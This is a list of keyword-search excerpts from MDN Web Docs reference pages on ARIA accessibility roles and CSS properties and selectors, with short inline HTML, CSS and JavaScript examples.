this can improve the experience for assistive technology users by hiding: purely decorative content, such as icons or images duplicated content, such as repeated text offscreen or collapsed content, such as menus according to the fourth rule of aria, aria-hidden="true" should not be used on a focusable element.
... additionally, since
this attribute is inherited by an element's children, it should not be added onto the parent or ancestor of a focusable element.
...</p> children elements can be omitted from accessibility apis: <p>
this is not hidden <span aria-hidden="true">but
this is</span>!
Using the aria-labelledby attribute - Accessibility
this idea is similar to how the "for" attribute is used to link a label to an input.
... assistive technology, such as screen readers, use
this attribute to catalog the objects in a document so that users can navigate between them.
...the examples section below provides more information on how to use the attribute
this way.
...
this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned.
Using the status role - Accessibility
description
this technique demonstrates how to use the status role and describes the effect it has on browsers and assistive technology.
... status information content must be provided within a status object, and it should be ensured that
this object does not receive focus.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers may provide a special key to announce the current status, and
this should present the contents of any status live region.
... note: opinons may differ on how assistive technology should handle
this technique.
ARIA: banner role - Accessibility
this usually includes a logo, company name, search icon, photo related to the page, or slogan.
...as
this is the main header for the site, we've added the banner landmark role to the container element.
...if
this is the case, you can add the role of banner to the main header of the page with javascript.
... identifying the page's banner in
this way will help improve the site's accessibility.
ARIA: Complementary role - Accessibility
<div role="complementary"> <h2>our partners</h2> <!-- complementary section content --> </div>
this is a sidebar containing links to event sponsors.
...ole="complementary"> <h2>trending articles</h2> <ul> <li><a href="#">18 tweets that will make you feel all the feels</a></li> <li><a href="#">stop searching for the perfect lunch containers because i've found them</a></li> <li><a href="#">the time has come to finally decide what we should be calling these foods</a></li> <li><a href="#">17 really good posts we saw on tumblr
this week</a></li> <li><a href="#">10 parent hacks we know work because we tried them</a></li> </ul> </div> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
...
this label will allow an assistive technology user to be able to quickly understand the purpose of each landmark.
...because of
this, you do not need to describe what the landmark is in its label.
ARIA: form role - Accessibility
<div role="form" id="contact-info" aria-label="contact information"> <!-- form content --> </div>
this is a form that collects and saves a user's contact information.
...
this label should be visible to all users, not just assistive technology users.
...
this name will allow an assitive technology user to be able to quickly understand the purpose of the form landmark.
...because of
this, you do not need to describe what the landmark is in its label.
ARIA: Main role - Accessibility
<div id="main" role="main"> <h1>avocados</h1> <!-- main section content --> </div>
this is the main section of a document that discusses avocados.
... subsections of
this document could discuss their history, the different types, regions where they grow, etc.
...if
this is the case, include aria-owns to identify the relationship of the main to it's document or application ancestor.
...
this allows the user to access the main content of the page faster.
ARIA: Navigation Role - Accessibility
<div role="navigation" aria-label="main"> <!-- list of links to main website locations --> </div>
this is a website's main navigation.
...
this label will allow an assitive technology user to be able to quickly understand the purpose of each landmark.
...an example of
this would be repeating the main navigation at the top and bottom of the page.
...because of
this, you do not need to describe what the landmark is in its label.
ARIA: row role - Accessibility
this is not the case for an ordinary table or grid, in which the aria-expanded attribute is not present.
... if all the columns are in the dom,
this attribute is not necessary.
... if all the rows are present in the dom,
this attribute is not necessary.
...in
this case, you can use the aria table roles to add the semantics back in.
ARIA: tab role - Accessibility
this combination identifies to assistive technology that the element is part of a group of related elements.
... example
this example combines the role tab with tablist and elements with tabpanel to create an interactive group of tabbed content.
... } tabs[tabfocus].setattribute("tabindex", 0); tabs[tabfocus].focus(); } }); }); function changetabs(e) { const target = e.target; const parent = target.parentnode; const grandparent = parent.parentnode; // remove all current selected tabs parent .queryselectorall('[aria-selected="true"]') .foreach(t => t.setattribute("aria-selected", false)); // set
this tab as selected target.setattribute("aria-selected", true); // hide all tab panels grandparent .queryselectorall('[role="tabpanel"]') .foreach(p => p.setattribute("hidden", true)); // show the selected panel grandparent.parentnode .queryselector(`#${target.getattribute("aria-controls")}`) .removeattribute("hidden"); } best practices it is recommended to use a butto...
... working draft precedence order what are the related properties, and in what order will
this attribute or property be read (which property will take precendence over
this one, and which property will be overwritten.
ARIA - Accessibility
here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"> </div>
this progress bar is built using a <div>, which has no meaning.
...in
this example, the role="progressbar" attribute informs the browser that
this element is actually a javascript-powered progress bar widget.
... along with placing them directly in the markup, aria attributes can be added to the element and updated dynamically using javascript code like
this: // find the progress bar <div> in the dom.
...because of
this, it is important to use semantic html elements whenever possible, as semantic html has far better support for assistive technology.
Keyboard - Accessibility
this includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.
... note: one important exception to
this rule is if the element has role="document" applied to it, inside an interactive context (such as role="application").
...
this creates confusion for keyboard-only users when the focus order differs from the logical order of the page.
...you can do
this with the :focus css pseudo-class.
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of
this writing).
...for
this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.
... wcag 2.1 includes: all of wcag 2.0 (verbatim, word-for-word) 17 new success criteria at the a / aa / aaa levels primarily addressing user needs in these areas: mobile accessibility low vision cognitive read more about wcag 2.1: deque: wcag 2.1: what is next for accessibility guidelines tpg: web content accessibility guidelines (wcag) 2.1 legal standing
this guide is intended to provide practical information to help you build better, more accessible websites.
... however, we are not lawyers, and none of
this constitutes legal advice.
-moz-image-region - CSS: Cascading Style Sheets
for certain xul elements and pseudo-elements that use an image from the list-style-image property,
this property specifies a region of the image that is used in place of the whole image.
...
this allows elements to use different pieces of the same image to improve performance.
...its parameters define the top, right, bottom, and left offsets of the edges of the image, in
this order.
...it will not work with xul <image src="url" />.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image #example-button { /* display only the 4x4 area from the top left of
this image */ list-style-image: url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover { /* use the 4x4 area to the right of the first for the hovered button */ -moz-image-region: rect(0px, 8px, 4px, 4px); } specifications not part of any standard.
-moz-user-input - CSS: Cascading Style Sheets
for textboxes,
this is the default behavior.
... please note that
this value is no longer supported in firefox 60 onwards (bug 1405087).
...however,
this is not the same as setting disabled to true, in that the element is drawn normally.
... please note that
this value is no longer supported in firefox 60 onwards (bug 1405087).
-webkit-mask-composite - CSS: Cascading Style Sheets
site: source-atop; -webkit-mask-composite: destination-over; -webkit-mask-composite: destination-in; -webkit-mask-composite: destination-out; -webkit-mask-composite: destination-atop; -webkit-mask-composite: xor; /* global values */ -webkit-mask-composite: inherit; -webkit-mask-composite: initial; -webkit-mask-composite: unset; there is a standardized mask-composite property covering parts of
this non-standard property using different keywords.
...
this causes the source mask image to have no effect.
...
this causes the destination mask image to have no effect.
...
this property is specified as mask-composite using different values.
::after (:after) - CSS: Cascading Style Sheets
html <span class="ribbon">look at the orange box after
this text.
... </span> css .ribbon { background-color: #5bc8f7; } .ribbon::after { content: "
this is a fancy orange box."; background-color: #ffba10; border-color: black; border-style: dotted; } result tooltips
this example uses ::after, in conjunction with the attr() css expression and a data-descr custom data attribute, to create tooltips.
... we can also support keyboard users with
this technique, by adding a tabindex of 0 to make each span keyboard focusable, and using a css :focus selector.
...
this shows how flexible ::before and ::after can be, though for the most accessible experience a semantic disclosure widget created in some other way (such as with details and summary elements) is likely to be more appropriate.
::first-letter (:first-letter) - CSS: Cascading Style Sheets
(
this is poorly supported by browsers; see the browser compatibility table below.) a combination of the ::before pseudo-element and the content property may inject some text at the beginning of the element.
... in that case, ::first-letter will match the first letter of
this generated content.
...nghands properties the color property the text-decoration, text-shadow, text-transform, letter-spacing, word-spacing (when appropriate), line-height, text-decoration-color, text-decoration-line, text-decoration-style, box-shadow, float, vertical-align (only if float is none) css properties syntax /* css3 syntax */ ::first-letter /* css2 syntax */ :first-letter examples simple drop cap in
this example we will use the ::first-letter pseudo-element to create a simple drop cap effect on the first letter of the paragraph coming right after the <h2>.
...s autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> css p { width: 500px; line-height: 1.5; } h2 + p::first-letter { color: white; background-color: black; border-radius: 2px; box-shadow: 3px 3px 0 red; font-size: 250%; padding: 6px 3px; margin-right: 6px; float: left; } result effect on special punctuation and non-latin characters
this example illustrates the effect of ::first-letter on special punctuation and non-latin characters.
:defined - CSS: Cascading Style Sheets
this includes any standard element built in to the browser, and custom elements that have been successfully defined (i.e.
... in
this demo we define a very simple trivial custom element: customelements.define('simple-custom', class extends htmlelement { constructor() { super(); let divelem = document.createelement('div'); divelem.textcontent =
this.getattribute('text'); let shadowroot =
this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of
this element into the document, ...
...le-custom { background: cyan; } // both the custom and the built-in element are given italic text :defined { font-style: italic; } then provide the following two rules to hide any instances of our custom element that are not defined, and display instances that are defined as block level elements: simple-custom:not(:defined) { display: none; } simple-custom:defined { display: block; }
this is useful if you have a complex custom element that takes a while to load into the page — you might want to hide instances of the element until definition is complete, so that you don't end up with flashes of ugly unstyled elements on the page specifications specification status comment html living standardthe definition of ':defined' in that specification.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
:empty - CSS: Cascading Style Sheets
note: in selectors level 4 the :empty pseudo-class was changed to act like :-moz-only-whitespace, but no browser currently supports
this yet.
...--></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around
this comment.
... --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements around
this comment.
...
this is commonly used for buttons that rely solely on an icon to convey purpose.
:fullscreen - CSS: Cascading Style Sheets
if multiple elements have been put into full-screen mode,
this selects them all.
... examples in
this example, the color of a button is changed depending on whether or not the document is in full-screen mode.
...
this is done without needing to specifically apply style changes using javascript.
... html the page's html looks like
this: <h1>mdn web docs demo: :fullscreen pseudo-class</h1> <p>
this demo uses the <code>:fullscreen</code> pseudo-class to automatically change the style of a button used to toggle full-screen mode on and off, entirely using css.</p> <button id="fs-toggle">toggle fullscreen</button> the <button> with the id "fs-toggle" will change between pale red and pale green depending on whether or not the document is in full-screen mode.
:has() - CSS: Cascading Style Sheets
/* selects any <a>, as long as it has an <img> element directly inside it */ /* note that
this is not supported in any browser yet */ let test = document.queryselector('a:has(> img)'); syntax :has( <relative-selector-list> )where <relative-selector-list> = <relative-selector>#where <relative-selector> = <combinator>?
...instead, it could only be used with functions like document.queryselector();
this was due to performance concerns.
...
this limitation has been removed because no browser implemented it that way.
... working draft initial definition browser compatibility the compatibility table on
this page is generated from structured data.
:not() - CSS: Cascading Style Sheets
useless selectors can be written using
this pseudo-class.
...
this pseudo-class can increase the specificity of a rule.
...
this selector only applies to one element; you cannot use it to exclude all ancestors.
... css .fancy { text-shadow: 2px 2px 3px gold; } /* <p> elements that are not in the class `.fancy` */ p:not(.fancy) { color: green; } /* elements that are not <p> elements */ body :not(p) { text-decoration: underline; } /* elements that are not <div> and not <span> elements */ body :not(div):not(span) { font-weight: bold; } /* elements that are not `.crazy` or `.fancy` */ /* note that
this syntax is not well supported yet.
:read-only - CSS: Cascading Style Sheets
we do just
this in the example below.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html;
this renders like so: styling read-only non-form controls
this selector doesn't just select <input>/<textarea> elements — it will select any element that cannot be edited by the user.
... <p contenteditable>
this paragraph is editable; it is read-write.</p> <p>
this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-only' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
:read-write - CSS: Cascading Style Sheets
we do just
this in the example below.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html;
this renders like so: styling read-write non-form controls
this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p> element with contenteditable set on it.
... <p contenteditable>
this paragraph is editable; it is read-write.</p> <p>
this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
font-stretch - CSS: Cascading Style Sheets
negative values are not allowed for
this property.
...
this enables variable fonts to offer something more like a continuum of character widths.
...however some fonts, called variable fonts, can support a range of stretching with more or less fine granularity, and
this can give the designer a much closer degree of control over the chosen weight.
... for
this, percentage ranges are useful.
@keyframes - CSS: Cascading Style Sheets
this gives more control over the intermediate steps of the animation sequence than transitions.
...
this must match the identifier production in css syntax.
...
this can be used to animate an element from its initial state and back.
...for example: @keyframes identifier { 0% { top: 0; } 50% { top: 30px; left: 20px; } 50% { top: 10px; } 100% { top: 0; } } in
this example, at the 50% keyframe, the values used are top: 10px and left: 20px.
prefers-reduced-transparency - CSS: Cascading Style Sheets
this keyword value evaluates as false in the boolean context.
... user preferences currently no user agent implements
this feature, although various operating systems do support such preferences and if
this media query is ever implemented user agents will likely rely on the settings provided by the operating systems.
... examples note: no browser currently implements
this feature so the following example will not work.
...
this example has an annoying transparency effect by default.
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
in
this page we explore how box alignment works in the context of block layout, including floated, positioned, and table elements.
... as
this page aims to detail things which are specific to block layout and box alignment, it should be read in conjunction with the main box alignment page, which details the common features of box alignment across layout methods.
...
this document details how the specification expects these properties to be implemented for completeness, and is likely to change as the specification and browser implementations develop.
...
this property does not apply to floated elements or table cells.
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
this article introduces the specification, and explains flow relative properties and values.
... if i now change the writing mode of
this component to vertical-rl using the writing-mode property, the alignment continues to work in the same way.
... you can try
this out in the live example below.
... the below diagram shows the inline and block directions in a horizontal writing mode:
this diagram shows block and inline in a vertical writing mode: browser support logical properties and values can be thought of as a couple of groups in terms of current browser support.
Logical properties for floating and positioning - CSS: Cascading Style Sheets
this guide takes a look at how to use these.
... mapped properties and values the table below details the properties and values discussed in
this guide along with their physical mappings.
...to do
this we have historically used the physical properties top, right, bottom and left.
...
this works in a more consistent way when using box alignment that uses start and end rather than physical directions for alignment.
Stacking context example 3 - CSS: Cascading Style Sheets
« css « understanding css z-index stacking context example 3
this last example shows problems that arise when mixing several positioned elements in a multi-level html hierarchy and when z-indexes are assigned using class selectors.
...usually
this kind of menu is script-generated either client-side or server-side, so style rules are assigned with a class selector instead of the id selector.
... level #1
this problem can be avoided by removing overlapping between different level menus, or by using individual (and different) z-index values assigned through the id selector instead of class selector, or by flattening the html hierarchy.
...
this is useful to group and position all of them at once.
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
thus, the example url would point to the heading "example" in
this document.
...
this is simple enough: h2:target { font-weight: bold; } it's also possible to create styles that are specific to a particular fragment of the document.
...
this is done using the same identifying value that is found in the uri.
... note:
this reprinted article was originally part of the devedge site.
Using CSS transforms - CSS: Cascading Style Sheets
this guide provides an introduction to using transforms.
... setting perspective
this example shows a cube with the perspective set at different positions.
... changing the perspective origin
this example shows cubes with popular perspective-origin values.
...d: rgba(196, 196, 0, 0.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the layout a little nicer */ section { background-color: #eee; padding: 10px; font-family: sans-serif; text-align: left; display: grid; grid-template-columns: repeat(3, 1fr); } result once you have done
this, you can work on the element in the 3d space.
Breadcrumb Navigation - CSS: Cascading Style Sheets
recipe download
this example note: the example above uses two selectors to insert content before every li except the first one.
...
this could also be achieved using one selector only: .breadcrumb li:not(:first-child)::before { content: "→"; }
this solution uses a more complex selector, but requires less rules.
... choices made
this pattern is laid out using a simple flex layout demonstrating how a line of css can give us our navigation.
... accessibility concerns i have used the aria-label and aria-current attributes to help users understand what
this navigation is and where the current page is in the structure.
Grid wrapper - CSS: Cascading Style Sheets
recipe download
this example choices made
this recipe uses the css grid minmax() function to define the grid track sizes in the grid-template-columns property.
...using a numeric unit (pixels, ems, rems) will create a fixed maximum size for the central wrapper, whereas using percentage values or viewport units will mean
this wrapper grows or shrinks in response to its context.
... useful fallbacks or alternative methods when using
this recipe at page level it can be useful to set a max-width along with left and right auto margins to center the content horizontally: .grid { max-width: 1200px; margin: 0 auto; // horizontally centers the container } /* remove the max-width and margins if the browser supports grid */ @supports (display: grid) { .grid { display: grid; /* other grid code goes here */ max-width: none; margin: 0; } } to “break out” a full-width item to the edge of the viewport you can then use
this trick (courtesy of una kravets): .item { width: 100vw; margin-left: 50%; transf...
...orm: translate3d(-50%, 0, 0); }
this gives a good approximation of the layout, only without the benefit of being able to align items easily on an exact grid.
Split Navigation - CSS: Cascading Style Sheets
we can use flexbox to achieve
this, without needing to make the two sets of items into two separate flex containers.
... recipe download
this example choices made
this pattern combines auto margins with flexbox to split the items.
...
this is how centering a block with auto margins works — you have a margin on each side of the block trying to take up all of the space, thus pushing the block into the middle.
... in
this case the left auto margin takes up any available space and pushes the item over to the right.
Sticky footers - CSS: Cascading Style Sheets
we'll look at a couple of techniques for creating one in
this recipe.
... the recipe download
this example note: in
this example and the following one we are using a wrapper set to min-height: 100% in order that our live example works.
... you could also achieve
this for a full page by setting a min-height of 100vh on the <body> and then using it as your grid container.
...then we set our main content to flex-grow: 1 and the other two elements to flex-shrink: 0 —
this prevents them from shrinking smaller when content fills the main area.
Privacy and the :visited selector - CSS: Cascading Style Sheets
this was done through window.getcomputedstyle and other techniques.
...
this process was quick to execute, and made it possible not only to determine where the user had been on the web, but could also be used to guess a lot of information about the user's identity.
... to mitigate
this problem, browsers have limited the amount of information that can be obtained from visited links.
... if you use a sibling selector such as :visited + span, the adjacent element (span in
this example) will be styled as if the link were unvisited.
Shorthand properties - CSS: Cascading Style Sheets
this works well when these properties use values of different types, as the order has no importance, but
this does not work as easily when several properties can have identical values.
...can be shortened to the following: font: italic bold .8em/1.2 arial, sans-serif;
this shorthand declaration is actually equivalent to the longhand declarations above plus font-variant: normal and font-size-adjust: none (css2.0 / css3), font-stretch: normal (css3).
...effectively,
this "turns on inheritance".
...
this sets the color of the <a> element nested inside to inherit.
Cubic Bezier Generator - CSS: Cascading Style Sheets
ecute when canvas isn't supported if (canvas.getcontext) { // use getcontext to use the canvas for drawing var ctx = canvas.getcontext('2d'); scaling = math.min(canvas.height - rulers - margin, canvas.width - rulers - margin); canvas.onmousedown = mousedown; canvas.onmouseup = mouseup; } else { alert('you need safari or firefox 1.5+ to see
this demo.'); } } function cx(x) { return x * scaling + rulers; } function reversex(x) { return (x - rulers) / scaling; } function lx(x) { //used when drawing vertical lines to prevent subpixel blur var result = cx(x); return math.round(result) == result ?
... ctx.fillstyle = "black"; ctx.arc(cx(1), cy(1), radius, 0, 2 * math.pi); ctx.fill(); ctx.stroke(); ctx.closepath(); // draw the p0(0,0) point ctx.beginpath(); ctx.arc(cx(0), cy(0), radius, 0, 2 * math.pi); ctx.fill(); ctx.stroke(); ctx.closepath(); } else { alert('you need safari or firefox 1.5+ to see
this demo.'); } } function mousedown(e) { var canvas = document.getelementbyid('bezier'); var x1 = cx(document.getelementbyid('x1').value); var y1 = cy(document.getelementbyid('y1').value); var x = e.pagex - canvas.offsetleft; var y = e.pagey - canvas.offsettop; var output = document.getelementbyid('output'); output.value = "(" + x + "," + y + ") should be (" + x1 ...
...ent.getelementbyid('y2'); x2.value = reversex(x); x2.value = math.round(x2.value * 10000) / 10000; y2.value = reversey(y); y2.value = math.round(y2.value * 10000) / 10000; if (x2.value < 0) { x2.value = 0; } if (x2.value > 1) { x2.value = 1; } } updatecanvas(); } } initcanvas(); updatecanvas();
this is a sample tool; it lets you edit bezier curves.
...
this is not really yet a useful tool, but will be!
animation-fill-mode - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is the default value.
...o reverse even or odd 0% or from alternate even 0% or from alternate odd 100% or to alternate-reverse even 100% or to alternate-reverse odd 0% or from backwards the animation will apply the values defined in the first relevant keyframe as soon as it is applied to the target, and retain
this during the animation-delay period.
... html <p>move your mouse over the gray box!</p> <div class="demo"> <div class="growsandstays">
this grows and stays big.</div> <div class="grows">
this just grows.</div> </div> css .demo { border-top: 100px solid #ccc; height: 300px; } @keyframes grow { 0% { font-size: 0; } 100% { font-size: 40px; } } .demo:hover .grows { animation-name: grow; animation-duration: 3s; } .demo:hover .growsandstays { animation-name: grow; animation-duration: 3s; animation-fill-mode: forward...
background-image - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users.
... html <div> <p class="catsandstars">
this paragraph is full of cats<br />and stars.
... </p> <p>
this paragraph is not.</p> <p class="catsandstars"> here are more cats for you.<br />look at them!
background - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the background property is specified as one or more background layers, separated by commas.
... the syntax of each layer is as follows: each layer may include zero or one occurrences of any of the following values: <attachment> <bg-image> <position> <bg-size> <repeat-style> the <bg-size> value may only be included immediately after <position>, separated with the '/' character, like
this: "center/80%".
...
this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users.
border-bottom - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this means that ...
... constituent properties
this property is a shorthand for the following css properties: border-bottom-color border-bottom-style border-bottom-width syntax border-bottom: 1px; border-bottom: 2px dotted; border-bottom: medium dashed blue; the three values of the shorthand property can be specified in any order, and one or two of them may be omitted.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying a bottom border html <div>
this box has a border on the bottom side.
border-left-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... browser compatibility the compatibility table in
this page is generated from structured data.
...
this has been fixed in firefox 50.ie full support 5.5opera full support 9.2safari full support 1webview android full support 2.3chrome android full support 18firefox android ...
...
this has been fixed in firefox 50.opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
border-radius - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-bottom-left-radius border-bottom-right-radius border-top-left-radius border-top-right-radius syntax /* the syntax of the first radius allows one to four values */ /* radius is set for all 4 sides */ border-radius: 10px; /* top-left-and-bottom-right | top-right-and-bottom-left */ border-radius: 10px 5%; /* top-left | top-r...
...
this is used to set a single radius for the corners.
...
this is used to set an additional radius, so you can have elliptical corners.
border-right-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... browser compatibility the compatibility table in
this page is generated from structured data.
...
this has been fixed in firefox 50.ie full support 5.5opera full support 9.2safari full support 1webview android full support ≤37chrome android full support 18firefox android ...
...
this has been fixed in firefox 50.opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full supportsee implementation notes.see implementation notes.
border-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: border-bottom-style border-left-style border-right-style border-top-style syntax /* keyword values */ border-style: none; border-style: hidden; border-style: dotted; border-style: dashed; border-style: solid; border-style: double; border-style: groove; border-style: ridge; border-style: inset; border-style: outset; /* vertical | horizontal */ border-style: dotted solid; /* top | horizontal | bottom */ border-style: hidden double dashed; /* top | right | bottom | left */ border-style: none solid dotted dashed; /* global values */ border-style: inh...
...when applied to a table cell with border-collapse set to collapsed,
this value behaves like groove.
...when applied to a table cell with border-collapse set to collapsed,
this value behaves like ridge.
bottom - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this computed value is then handled as if it were a <length>, <percentage>, or the auto keyword.
...definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and fixed positioning
this example demonstrates the difference in behavior of the bottom property, when position is absolute versus fixed.
... html <p>
this<br>is<br>some<br>tall,<br>tall,<br>tall,<br>tall,<br>tall<br>content.</p> <div class="fixed"><p>fixed</p></div> <div class="absolute"><p>absolute</p></div> css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center; background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status comment css positioned layout module level 3the definition of 'bottom' in that specification.
box-lines - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
...
this behavior can be changed using the box-lines property.
...
this process can repeat to an arbitrary number of lines.
...
this was only supported in webkit-based browsers, with a prefix.
box-pack - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
...the effect of
this is only visible if there is extra space in the box.
... formal definition initial valuestartapplies toelements with a css display value of -moz-box, -moz-inline-box, -webkit-box or -webkit-inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax start | center | end | justify examples div.example { border-style: solid; display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit */ /* make
this box taller than the children, so there is room for the box-pack */ height: 300px; /* make
this box wide enough to show the contents are centered horizontally */ width: 300px; /* children should be oriented vertically */ -moz-box-orient: vertical; /* mozilla */ -webkit-box-orient: vertical; /* webkit */ /* align children to the horizontal center of
this box */ -moz-box-...
...align: center; /* mozilla */ -webkit-box-align: center; /* webkit */ /* pack children to the bottom of
this box */ -moz-box-pack: end; /* mozilla */ -webkit-box-pack: end; /* webkit */ } div.example p { /* make children narrower than their parent, so there is room for the box-align */ width: 200px; } <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> specifications not part of any standard.
break-after - CSS: Cascading Style Sheets
the type of
this break is that of the immediately-containing fragmentation context.
...
this ensures that sites using page-break-after continue to work as designed.
...changes the media type of
this property from paged to visual.
... browser compatibility the compatibility table on
this page is generated from structured data.
break-before - CSS: Cascading Style Sheets
the type of
this break is that of the immediately-containing fragmentation context.
...
this ensures that sites using page-break-before continue to work as designed.
...changes the media type of
this property from paged to visual.
... browser compatibility the compatibility table on
this page is generated from structured data.
columns - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: column-count column-width syntax /* column width */ columns: 18em; /* column count */ columns: auto; columns: 2; /* both column width and count */ columns: 2 auto; columns: auto 12em; columns: auto auto; /* global values */ columns: inherit; columns: initial; columns: unset; the columns property may be specified as one or two of the values listed below, in any order.
...if neither
this value nor the column's width are auto, it merely indicates the maximum allowable number of columns.
...rs except table wrapper boxesinheritednocomputed valueas each of the properties of the shorthand:column-width: the absolute length, zero or largercolumn-count: as specifiedanimation typeas each of the properties of the shorthand:column-width: a lengthcolumn-count: an integer formal syntax <'column-width'> | <'column-count'> examples setting three equal columns html <p class="content-box">
this is a bunch of text split into three columns using the css `columns` property.
cross-fade() - CSS: Cascading Style Sheets
this means a value of 0% means the image is fully transparent while a value of 100% makes the image fully opaque.
...
this was not always the case.
... the green/red example (with the percentages totalling 150%) and the yellow/red/blue example (with three images) from the specification syntax section, are not possible in
this implementation.
...
this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users.
<custom-ident> - CSS: Cascading Style Sheets
forbidden values a <custom-ident> must not be placed between single or double quotes as
this would be identical to a <string>.
...
this would be a custom property.
... 'bilibob'
this would be a <string>.
... "bilibob"
this would be a <string>.
float - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...ble table table-row block table-row-group block table-column block table-column-group block table-cell block table-caption block table-header-group block table-footer-group block inline-flex flex inline-grid grid other unchanged note: if you're referring to
this property from javascript as a member of the htmlelement.style object, modern browsers support float, but in older browsers you have to spell it as cssfloat, with internet explorer versions 8 and older using stylefloat.
...
this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascript, as seen in the need to escape "class" as "classname" and escape <label>'s "for" as "htmlfor").
... in
this example, there are three colored squares.
font-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...when the specified style is not available, both italic and oblique faces are simulated by artificially sloping the glyphs of the regular face (use font-synthesis to control
this behavior).
...you can select
this using the <angle> modifier for the oblique keyword.
... examples font styles <p class="normal">
this paragraph is normal.</p> <p class="italic">
this paragraph is italic.</p> <p class="oblique">
this paragraph is oblique.</p> .normal { font-style: normal; } .italic { font-style: italic; } .oblique { font-style: oblique; } specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
font-variant-east-asian - CSS: Cascading Style Sheets
tional; /* <east-asian-variant-values> */ font-variant-east-asian: full-width; /* <east-asian-width-values> */ font-variant-east-asian: proportional-width; /* <east-asian-width-values> */ font-variant-east-asian: ruby full-width jis83; /* global values */ font-variant-east-asian: inherit; font-variant-east-asian: initial; font-variant-east-asian: unset; syntax values normal
this keyword leads to the deactivation of the use of such alternate glyphs.
... ruby
this keyword forces the use of special glyphs for ruby characters.
...
